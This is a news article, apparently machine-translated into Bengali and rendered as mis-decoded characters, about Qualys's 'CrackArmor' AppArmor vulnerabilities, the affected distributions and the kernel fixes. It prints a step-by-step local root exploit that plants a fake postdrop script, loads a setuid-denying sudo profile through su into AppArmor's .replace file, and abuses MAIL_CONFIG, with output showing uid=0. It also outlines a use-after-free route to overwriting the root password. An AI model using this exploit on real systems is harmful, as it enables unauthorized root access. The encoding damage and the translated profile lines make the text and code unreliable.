Qualys AppArmor āĻŦāĻžāϧā§āϝāϤāĻžāĻŽā§āϞāĻ āĻ ā§āϝāĻžāĻā§āϏā§āϏ āĻāύā§āĻā§āϰā§āϞ āϏāĻŋāϏā§āĻā§āĻŽā§ āύāϝāĻŧāĻāĻŋ āĻĻā§āϰā§āĻŦāϞāϤāĻž āĻāĻŋāĻšā§āύāĻŋāϤ āĻāϰā§āĻā§, āϝāĻžāϰ āĻŽāϧā§āϝ⧠āϏāĻŦāĻā§āϝāĻŧā§ āĻā§āϰā§āϤāϰ āĻšāϞ āϏā§āĻĨāĻžāύā§āϝāĻŧ, āϏā§āĻŦāĻŋāϧāĻžāĻŦāĻā§āĻāĻŋāϤ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻāĻžāϰā§āĻā§ āϰā§āĻ āϏā§āĻŦāĻŋāϧāĻž āĻĒā§āϤā§, āĻŦāĻŋāĻā§āĻāĻŋāύā§āύ āĻāύā§āĻā§āĻāύāĻžāϰ āĻĨā§āĻā§ āĻŦā§āϰāĻŋāϝāĻŧā§ āĻāϏāϤ⧠āĻāĻŦāĻ AppArmor-āĻĒā§āϰāϝāĻŧā§āĻāĻā§āϤ āĻŦāĻŋāϧāĻŋāύāĻŋāώā§āϧ āĻŦāĻžāĻāĻĒāĻžāϏ āĻāϰāϤ⧠āĻĻā§āϝāĻŧāĨ¤ āĻĻā§āϰā§āĻŦāϞāϤāĻžāĻā§āϞāĻŋāĻā§ CrackArmor āĻā§āĻĄāύāĻžāĻŽ āĻĻā§āĻāϝāĻŧāĻž āĻšāϝāĻŧā§āĻā§āĨ¤ CVE āĻļāύāĻžāĻā§āϤāĻāĻžāϰ⧠āĻāĻāύāĻ āĻŦāϰāĻžāĻĻā§āĻĻ āĻāϰāĻž āĻšāϝāĻŧāύāĻŋāĨ¤ Ubuntu 24.04 āĻāĻŦāĻ Debian 13-āϤ⧠āϏāĻĢāϞ āϏā§āĻŦāĻŋāϧāĻžāĻŦāĻā§āĻāĻŋāϤ āĻāĻā§āϰāĻŽāĻŖāĻā§āϞāĻŋ āĻĒā§āϰāĻĻāϰā§āĻļāĻŋāϤ āĻšāϝāĻŧā§āĻā§āĨ¤
⧍ā§Ļā§§ā§ āϏāĻžāϞ⧠āĻĒā§āϰāĻāĻžāĻļāĻŋāϤ Linux āĻāĻžāϰā§āύā§āϞ ā§Ē.ā§§ā§§ āĻĨā§āĻā§ AppArmor LSM āĻŽāĻĄāĻŋāĻāϞ⧠āϏāĻŽāϏā§āϝāĻž āĻĻā§āĻāĻž āĻĻāĻŋāϝāĻŧā§āĻā§ āĻāĻŦāĻ Ubuntu, Debian, openSUSE āĻāĻŦāĻ SUSE āĻāϰ āĻŽāϤ⧠AppArmor āĻŦā§āϝāĻŦāĻšāĻžāϰāĻāĻžāϰ⧠āĻĄāĻŋāϏā§āĻā§āϰāĻŋāĻŦāĻŋāĻāĻļāύāĻā§āϞāĻŋāĻā§ āĻĒā§āϰāĻāĻžāĻŦāĻŋāϤ āĻāϰ⧠(openSUSE/SUSE ā§§ā§Ŧ āĻĻāĻŋāϝāĻŧā§ āĻļā§āϰ⧠āĻāϰā§, SELinux āĻĄāĻŋāĻĢāϞā§āĻāϰā§āĻĒā§ āϏāĻā§āϰāĻŋāϝāĻŧ āĻĨāĻžāĻā§, āϤāĻŦā§ AppArmor āĻāĻāύāĻ āĻāĻāĻāĻŋ āĻŦāĻŋāĻāϞā§āĻĒ)āĨ¤ āĻĻā§āϰā§āĻŦāϞāϤāĻžāĻā§āϞāĻŋ āϏāĻŽāĻžāϧāĻžāύāĻāĻžāϰ⧠āĻĒā§āϝāĻžāĻāĻā§āϞāĻŋ Linux āĻāĻžāϰā§āύā§āϞ āϰāĻā§āώāĻŖāĻžāĻŦā§āĻā§āώāĻŖāĻāĻžāϰā§āĻĻā§āϰ āĻāĻžāĻā§ āĻāĻŽāĻž āĻĻā§āĻāϝāĻŧāĻž āĻšāϝāĻŧā§āĻā§ āĻāĻŦāĻ āĻāĻāĻžāĻŽā§ āĻĻāĻŋāύ⧠6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 āĻāĻŦāĻ 5.10.253 āĻāĻĒāĻĄā§āĻā§āϰ āĻ āĻāĻļ āĻšāĻŋāϏāĻžāĻŦā§ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻāĻžāϰā§āĻĻā§āϰ āĻāĻžāĻā§ āĻĒā§āϰāĻāĻžāĻļ āĻāϰāĻž āĻšāĻŦā§āĨ¤ āĻāĻ āϏāĻŽāĻžāϧāĻžāύāĻāĻŋ āĻāĻāĻā§āϰ Ubuntu āĻāĻžāϰā§āύā§āϞ āĻĒā§āϝāĻžāĻā§āĻ āĻāĻĒāĻĄā§āĻā§āĻ āĻ āύā§āϤāϰā§āĻā§āĻā§āϤ āϰāϝāĻŧā§āĻā§āĨ¤ āĻāϤāĻŋāĻŽāϧā§āϝā§, āĻāĻŦā§āύā§āĻā§ sudo, sudo-ldap, āĻāĻŦāĻ util-linux āĻĒā§āϝāĻžāĻā§āĻāĻā§āϞāĻŋāϰ (āϝāĻžāϰ āĻŽāϧā§āϝ⧠su āĻāĻāĻāĻŋāϞāĻŋāĻāĻŋ āĻ āύā§āϤāϰā§āĻā§āĻā§āϤ) āĻāĻĒāĻĄā§āĻ āĻĒā§āϰāĻāĻžāĻļ āĻāϰā§āĻā§, āϝāĻžāϤ⧠AppArmor āĻĻā§āϰā§āĻŦāϞāϤāĻžāϰ āĻļā§āώāĻŖā§āϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻā§āĻā§āĻž āϤā§āϰā§āĻāĻŋāĻā§āϞāĻŋ āϏāĻāĻļā§āϧāύ āĻāϰāĻž āĻšāϝāĻŧā§āĻā§āĨ¤ āĻĄā§āĻŦāĻŋāϝāĻŧāĻžāύ āĻāĻāĻāĻŋ āĻāĻĒāĻĄā§āĻ āĻĒā§āϰāϏā§āϤā§āϤ āĻāϰāĻā§āĨ¤
āϏāĻŽāϏā§āϝāĻžāĻā§āϞāĻŋ AppArmor-āĻāϰ āĻāĻāĻāĻŋ āĻŽā§āϞāĻŋāĻ "confused-deputy" āĻĻā§āϰā§āĻŦāϞāϤāĻžāϰ āĻāĻžāϰāĻŖā§ āĻāĻā§, āϝāĻž āϏā§āĻŦāĻŋāϧāĻžāĻŦāĻā§āĻāĻŋāϤ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻāĻžāϰā§āĻĻā§āϰ āĻāĻā§āĻāĻžāĻŽāϤ AppArmor āĻĒā§āϰā§āĻĢāĻžāĻāϞ āϞā§āĻĄ, āĻĒā§āϰāϤāĻŋāϏā§āĻĨāĻžāĻĒāύ āĻāĻŦāĻ āĻŽā§āĻā§ āĻĢā§āϞāĻžāϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻā§āϝāĻŧāĨ¤ āĻāĻ āĻĻā§āϰā§āĻŦāϞāϤāĻž āϏāϰāĻžāϏāϰāĻŋ āϏā§āĻĨāĻžāύā§āϝāĻŧ āĻāĻŦāĻ āĻĻā§āϰāĻŦāϰā§āϤ⧠āĻāĻā§āϰāĻŽāĻŖ āĻĨā§āĻā§ āĻĒā§āϰā§āĻā§āϰāĻžāĻŽ āĻāĻŦāĻ āĻĒāϰāĻŋāώā§āĻŦāĻžāĻā§āϞāĻŋāϰ āϏā§āϰāĻā§āώāĻž āĻ āĻā§āώāĻŽ āĻāϰāϤ⧠āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻāϰāĻž āϝā§āϤ⧠āĻĒāĻžāϰ⧠(pseudo-files /sys/kernel/security/apparmor/.load, .replace, āĻāĻŦāĻ .remove āϞāĻŋāĻā§, āĻāĻĻāĻžāĻšāϰāĻŖāϏā§āĻŦāϰā§āĻĒ, cupsd āĻāĻŦāĻ rsyslogd-āĻ āϏā§āĻŽāĻžāĻŦāĻĻā§āϧāϤāĻž āĻ āĻĒāϏāĻžāϰāĻŖ āĻāϰāϤā§), āĻĒāϰāĻŋāώā§āĻŦāĻž āĻ āϏā§āĻŦā§āĻāĻžāϰā§āϰ āĻāĻžāϰāĻŖ āĻšāϤ⧠āĻĒāĻžāϰ⧠(deny āĻĒā§āϰā§āĻĢāĻžāĻāϞ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻāϰā§), āĻāĻŦāĻ āύā§āĻŽāϏā§āĻĒā§āϏ āϏā§āĻŽāĻžāĻŦāĻĻā§āϧāϤāĻž āĻŦāĻžāĻāĻĒāĻžāϏ āĻāϰāϤ⧠āĻĒāĻžāϰ⧠(āĻāĻāĻāĻŋ āύāϤā§āύ AppArmor āĻĒā§āϰā§āĻĢāĻžāĻāϞ "userns" āϞā§āĻĄ āĻāϰā§, āĻāĻĻāĻžāĻšāϰāĻŖāϏā§āĻŦāϰā§āĻĒ, /usr/bin/time āĻāϰ āĻāύā§āϝ, āϏā§āĻŽāĻžāĻšā§āύ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻāĻžāϰā§āϰ āύāĻžāĻŽāϏā§āĻĨāĻžāύ āϤā§āϰāĻŋāϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻā§āϝāĻŧ)āĨ¤
AppArmor āĻĒā§āϰā§āĻĢāĻžāĻāϞ āĻĒā§āϰāϤāĻŋāϏā§āĻĨāĻžāĻĒāύ āĻāϰāĻžāϰ āĻā§āώāĻŽāϤāĻžāϰ āĻŽāĻžāϧā§āϝāĻŽā§ su āĻāĻŦāĻ sudo-āĻāϰ āĻŽāϤ⧠āĻŦāĻŋāĻļā§āώāĻžāϧāĻŋāĻāĻžāϰāĻĒā§āϰāĻžāĻĒā§āϤ āĻāĻāĻāĻŋāϞāĻŋāĻāĻŋāĻā§āϞāĻŋāϤ⧠āύāϤā§āύ āĻĒā§āϰā§āĻĢāĻžāĻāϞ āϏāĻāϝā§āĻā§āϤ āĻāϰ⧠āϰā§āĻ āĻĒā§āϰāĻŋāĻāĻŋāϞā§āĻ āĻ āϰā§āĻāύ āĻāϰāĻž āϝāĻžāϝāĻŧ, āϝāĻž āύāĻŋāϰā§āĻĻāĻŋāώā§āĻ āĻāĻŋāĻā§ āϏāĻŋāϏā§āĻā§āĻŽ āĻāϞ⧠āĻ ā§āϝāĻžāĻā§āϏā§āϏ āĻŦā§āϞāĻ āĻāϰ⧠āĻĻā§āϝāĻŧāĨ¤ āĻŦāĻŋāĻļā§āώāϤ, sudo āĻāĻāĻāĻŋāϞāĻŋāĻāĻŋāϰ āĻāύā§āϝ setuid (CAP_SETUID) āĻ āĻĒāĻžāϰā§āĻļāύāĻāĻŋ āύāĻŋāώā§āĻā§āϰāĻŋāϝāĻŧ āĻāϰāĻžāϰ āĻĒāĻžāĻļāĻžāĻĒāĻžāĻļāĻŋ āĻŽā§āĻāϞ ââāϏā§āĻāĻŋāĻāϏ āϧāĻžāϰāĻŖāĻāĻžāϰ⧠āĻĄāĻŋāϰā§āĻā§āĻāϰāĻŋ āĻĒāϰāĻŋāĻŦāϰā§āϤāύ āĻāϰāĻžāϰ āĻāύā§āϝ MAIL_CONFIG āĻāύāĻāĻžāϝāĻŧāϰāύāĻŽā§āύā§āĻ āĻā§āϰāĻŋāϝāĻŧā§āĻŦāϞāĻāĻŋ āĻŽā§āϝāĻžāύāĻŋāĻĒā§āϞā§āĻ āĻāϰāĻžāϰ āĻŽāĻžāϧā§āϝāĻŽā§ āϰā§āĻ āĻĒā§āϰāĻŋāĻāĻŋāϞā§āĻ āĻ āϰā§āĻāύ āĻāϰāĻž āϝā§āϤ⧠āĻĒāĻžāϰā§āĨ¤ āϏāĻžāϰā§āĻāĻžāϰ āĻĒā§āϏā§āĻāĻĢāĻŋāĻā§āϏāĨ¤
/usr/sbin/sendmail āĻāĻžāϞāĻžāύā§āϰ āϏāĻŽāϝāĻŧ āϏāĻŽāϏā§āϝāĻž āĻĻā§āĻāĻž āĻĻāĻŋāϞ⧠āĻāĻ āĻĒāĻĻā§āϧāϤāĻŋāϤ⧠sudo āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻāϰ⧠āĻ ā§āϝāĻžāĻĄāĻŽāĻŋāύāĻŋāϏā§āĻā§āϰā§āĻāϰāĻā§ āĻāĻŽā§āϞ āĻĒāĻžāĻ āĻžāύ⧠āĻšāϝāĻŧāĨ¤ āĻŦāĻŋāĻļā§āώāĻžāϧāĻŋāĻāĻžāϰ āĻĄāĻžāĻŽā§āĻĒāĻŋāĻ āύāĻŋāώā§āĻā§āϰāĻŋāϝāĻŧ āĻāϰā§, āĻāĻ āĻĒā§āϰāĻā§āϰāĻŋāϝāĻŧāĻžāĻāĻŋ āϰā§āĻ āĻŦāĻŋāĻļā§āώāĻžāϧāĻŋāĻāĻžāϰ āĻĻāĻŋāϝāĻŧā§ āĻāĻžāϞāĻžāύ⧠āϝā§āϤ⧠āĻĒāĻžāϰā§āĨ¤ sudo āĻāĻžāϞāĻžāύā§āϰ āĻāĻā§ MAIL_CONFIG āĻĒāϰāĻŋāĻŦā§āĻļ āĻĒāϰāĻŋāĻŦāϰā§āϤāύāĻļā§āϞ āϏā§āĻ āĻāϰā§, āĻāĻĒāύāĻŋ sendmail-āĻ āĻ āύā§āϝāĻžāύā§āϝ āϏā§āĻāĻŋāĻāϏ āĻĒāĻžāϏ āĻāϰāϤ⧠āĻĒāĻžāϰā§āύ, āϝāĻžāϰ āĻŽāϧā§āϝ⧠āĻŽā§āĻāϞ ââāĻĒāĻžāĻ āĻžāύā§āϰ āϏāĻŽāϝāĻŧ āĻāĻžāϞāĻžāύā§āϰ āĻāύā§āϝ āĻāĻāĻāĻŋ āĻāĻžāϏā§āĻāĻŽ āĻĒā§āϏā§āĻāĻĄā§āϰāĻĒ āĻšā§āϝāĻžāύā§āĻĄāϞāĻžāϰ āύāĻŋāϰā§āĻĻāĻŋāώā§āĻ āĻāϰāĻž āĻ āύā§āϤāϰā§āĻā§āĻā§āϤāĨ¤ $ mkdir /tmp/postfix $ cat > /tmp/postfix/main.cf << "EOF" command_directory = /tmp/postfix EOF $ cat > /tmp/postfix/postdrop << "EOF" #!/bin/sh /usr/bin/id >> /tmp/postfix/pwned EOF $ chmod -R 0755 /tmp/postfix $ apparmor_parser -K -o sudo.pf << "EOF" /usr/bin/sudo { āĻĢāĻžāĻāϞā§āϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻāĻŋāύ, āϏāĻāĻā§āϤā§āϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻāĻŋāύ, āύā§āĻāĻāϝāĻŧāĻžāϰā§āĻā§āϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻāĻŋāύ, āĻā§āώāĻŽāϤāĻžāϰ āĻ āύā§āĻŽāϤāĻŋ āĻĻāĻŋāύ, āĻā§āώāĻŽāϤāĻžāϰ āĻ āϏā§āĻŦā§āĻāĻžāϰ āĻāϰā§āύ setuid, } EOF $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace āĻĒāĻžāϏāĻāϝāĻŧāĻžāϰā§āĻĄ: $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo āϝāĻžāĻ āĻšā§āĻ āύāĻž āĻā§āύ sudo: PERM_SUDOERS: setresuid(-1, 1, -1): āĻ āĻĒāĻžāϰā§āĻļāύ āĻ āύā§āĻŽā§āĻĻāĻŋāϤ āύāϝāĻŧ sudo: /etc/sudoers āĻā§āϞāϤ⧠āĻ āĻā§āώāĻŽ: āĻ āĻĒāĻžāϰā§āĻļāύ āĻ āύā§āĻŽā§āĻĻāĻŋāϤ āύāϝāĻŧ sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: āĻ āĻĒāĻžāϰā§āĻļāύ āĻ āύā§āĻŽā§āĻĻāĻŋāϤ āύāϝāĻŧ sudo: āĻ āĻĄāĻŋāĻ āĻĒā§āϞāĻžāĻāĻāύ āĻļā§āϰ⧠āĻāϰāĻžāϰ āϏāĻŽāϝāĻŧ āϤā§āϰā§āĻāĻŋ sudoers_audit $ cat /tmp/postfix/pwned uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
āϏā§āĻŦāĻŋāϧāĻž āĻŦā§āĻĻā§āϧāĻŋāϰ āĻ
āύā§āϝāĻžāύā§āϝ āĻĒāĻĻā§āϧāϤāĻŋāϰ āĻŽāϧā§āϝ⧠āϰāϝāĻŧā§āĻā§ āϞāĻŋāύāĻžāĻā§āϏ āĻāĻžāϰā§āύā§āϞ āϏā§āϤāϰ⧠āĻāϞāĻŽāĻžāύ AppArmor āĻā§āĻĄā§āϰ āĻĻā§āϰā§āĻŦāϞāϤāĻžāĨ¤ āĻāĻāĻŋ āĻĻā§āĻāĻžāύ⧠āĻšāϝāĻŧā§āĻā§ āĻāĻŋāĻāĻžāĻŦā§ free() āĻĢāĻžāĻāĻļāύā§āϰ āĻĻā§āĻŦāĻŋāĻā§āĻŖ āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻāĻŦāĻ AppArmor āĻĒā§āϰā§āĻĢāĻžāĻāϞ āϞā§āĻĄāĻŋāĻ āĻāĻŦāĻ āĻĒā§āϰāϤāĻŋāϏā§āĻĨāĻžāĻĒāύ āĻā§āĻĄā§ āĻāϤāĻŋāĻŽāϧā§āϝā§-āĻŽā§āĻā§āϤ āĻŽā§āĻŽāϰāĻŋ (āĻŦā§āϝāĻŦāĻšāĻžāϰ-āĻĒāϰ-āĻŽā§āĻā§āϤ) āĻ
ā§āϝāĻžāĻā§āϏā§āϏā§āϰ āĻĢāϞ⧠āϏā§āώā§āĻ āĻĻā§āϰā§āĻŦāϞāϤāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻāϰ⧠āϰā§āĻ āϏā§āĻŦāĻŋāϧāĻž āĻ
āϰā§āĻāύ āĻāϰāĻž āϝāĻžāϝāĻŧāĨ¤ āĻāĻĻāĻžāĻšāϰāĻŖāϏā§āĻŦāϰā§āĻĒ, AppArmor aa_loaddata āĻāĻžāĻ āĻžāĻŽā§āϤ⧠āĻāĻāĻāĻŋ āĻĒā§āϰā§āĻĢāĻžāĻāϞ āϏāĻāϰāĻā§āώāĻŖ āĻāϰā§, āϝāĻžāϰ āĻāύā§āϝ āĻŽā§āĻŽāϰāĻŋ kmalloc-192 āϏā§āϞā§āϝāĻžāĻŦ āĻā§āϝāĻžāĻļā§ āĻŦāϰāĻžāĻĻā§āĻĻ āĻāϰāĻž āĻšāϝāĻŧāĨ¤ āĻāĻāĻāĻŋ āϰā§āϏ āĻļāϰā§āϤ āĻāĻ āĻāĻžāĻ āĻžāĻŽā§āĻāĻŋ āĻŽā§āĻā§āϤ āĻāϰāĻžāϰ āĻĒāϰ⧠āĻĻāĻāϞāĻā§āϤ āĻŽā§āĻŽāϰāĻŋ āĻ
ā§āϝāĻžāĻā§āϏā§āϏ āĻāϰāϤ⧠āĻĒāĻžāϰā§āĨ¤ āĻāĻ āϏāĻŽāϏā§āϝāĻžāĻāĻŋ āĻŽā§āĻā§āϤ āĻŽā§āĻŽāϰāĻŋāϰ āĻāĻĒāϰ āύāĻŋāϝāĻŧāύā§āϤā§āϰāĻŖ āĻ
āϰā§āĻāύ āĻāϰāϤ⧠āĻāĻŦāĻ /etc/passwd āĻĢāĻžāĻāϞā§āϰ āĻŦāĻŋāώāϝāĻŧāĻŦāϏā§āϤ⧠āĻŽā§āϝāĻžāĻĒ āĻāϰāĻžāϰ āĻāύā§āϝ āĻŽā§āĻā§āϤ āĻŽā§āĻŽāϰāĻŋ āĻĒā§āώā§āĻ āĻžāĻāĻŋ āĻĒā§āύāϰāĻžāϝāĻŧ āĻŦāϰāĻžāĻĻā§āĻĻ āĻāϰāϤ⧠āĻāĻŦāĻ āϰā§āĻ āĻĒāĻžāϏāĻāϝāĻŧāĻžāϰā§āĻĄ āϏā§āĻā§āϰāĻŋāĻ āĻāĻāĻžāϰāϰāĻžāĻāĻ āĻāϰāϤ⧠āĻāĻžāĻā§ āϞāĻžāĻāĻžāύ⧠āϝā§āϤ⧠āĻĒāĻžāϰā§āĨ¤
āĻāϤā§āϏ: opennet.ru
